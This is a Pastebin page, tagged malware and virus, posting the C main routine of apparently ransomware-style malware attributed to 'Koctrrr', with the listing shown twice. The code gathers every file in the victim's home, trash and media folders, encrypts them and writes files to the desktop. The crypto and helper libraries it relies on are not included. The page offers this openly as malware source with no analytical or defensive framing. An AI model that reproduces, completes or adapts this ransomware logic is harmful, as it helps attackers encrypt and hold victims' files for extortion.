Advertisement
FlyFar

Koctrrr's malware - Source Code

Jul 9th, 2023
1,218
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.54 KB | Cybersecurity | 0 0
  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. #include<string.h>
  4. #include<unistd.h>
  5. #include"lib/func.h"
  6. #include"lib/crypto.h"
  7. #include"lib/struct.h"
  8.  
  9. // -lcrypto -lz -ldl -static-libgcc
  10.  
  11.  
  12. int main(){
  13.  
  14.     /* Linked list structures */
  15.     List *files = NULL;
  16.     List *encrypted = NULL;
  17.     List *not_encrypted = NULL;
  18.  
  19.     /* Path variables */
  20.     char * home = get_home_enviroment();
  21.     char * desktop = get_desktop_enviroment(home);
  22.     char * username = get_username();
  23.     char * trash = get_trash_path(home);
  24.     char * media = get_media_path(username);
  25.     // char * test_path = get_test_path(desktop);
  26.  
  27.     char * test_path = "/home/tarcisio/tests/";
  28.     /* finding all victim's files */
  29.     find_files(&files, home);
  30.     find_files(&files, trash);
  31.     find_files(&files, media);
  32.  
  33.     /* start encryption */
  34.     encrypt_files(files, &encrypted, &not_encrypted);
  35.     create_files_desktop(encrypted, files, desktop);
  36.    
  37.     /* Free the linked lists*/
  38.     // NEED TO DESTROY THE KEYS INSIDE THE LISTS
  39.     destroy(&files);
  40.     destroy(&encrypted);
  41.     destroy(&not_encrypted);
  42.  
  43.     /* Free the path variables */
  44.     free(home);
  45.     free(desktop);
  46.     free(username);
  47.     free(trash);
  48.     free(media);
  49.     // free(test_path);
  50.  
  51.     return 0;
  52. RAW Paste Data
  53. #include<stdio.h>
  54. #include<stdlib.h>
  55. #include<string.h>
  56. #include<unistd.h>
  57. #include"lib/func.h"
  58. #include"lib/crypto.h"
  59. #include"lib/struct.h"
  60.  
  61. // -lcrypto -lz -ldl -static-libgcc
  62.  
  63.  
  64. int main(){
  65.  
  66.     /* Linked list structures */
  67.     List *files = NULL;
  68.     List *encrypted = NULL;
  69.     List *not_encrypted = NULL;
  70.  
  71.     /* Path variables */
  72.     char * home = get_home_enviroment();
  73.     char * desktop = get_desktop_enviroment(home);
  74.     char * username = get_username();
  75.     char * trash = get_trash_path(home);
  76.     char * media = get_media_path(username);
  77.     // char * test_path = get_test_path(desktop);
  78.  
  79.     char * test_path = "/home/tarcisio/tests/";
  80.     /* finding all victim's files */
  81.     find_files(&files, home);
  82.     find_files(&files, trash);
  83.     find_files(&files, media);
  84.  
  85.     /* start encryption */
  86.     encrypt_files(files, &encrypted, &not_encrypted);
  87.     create_files_desktop(encrypted, files, desktop);
  88.    
  89.     /* Free the linked lists*/
  90.     // NEED TO DESTROY THE KEYS INSIDE THE LISTS
  91.     destroy(&files);
  92.     destroy(&encrypted);
  93.     destroy(&not_encrypted);
  94.  
  95.     /* Free the path variables */
  96.     free(home);
  97.     free(desktop);
  98.     free(username);
  99.     free(trash);
  100.     free(media);
  101.     // free(test_path);
  102.  
  103.     return 0;
Tags: malware virus
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement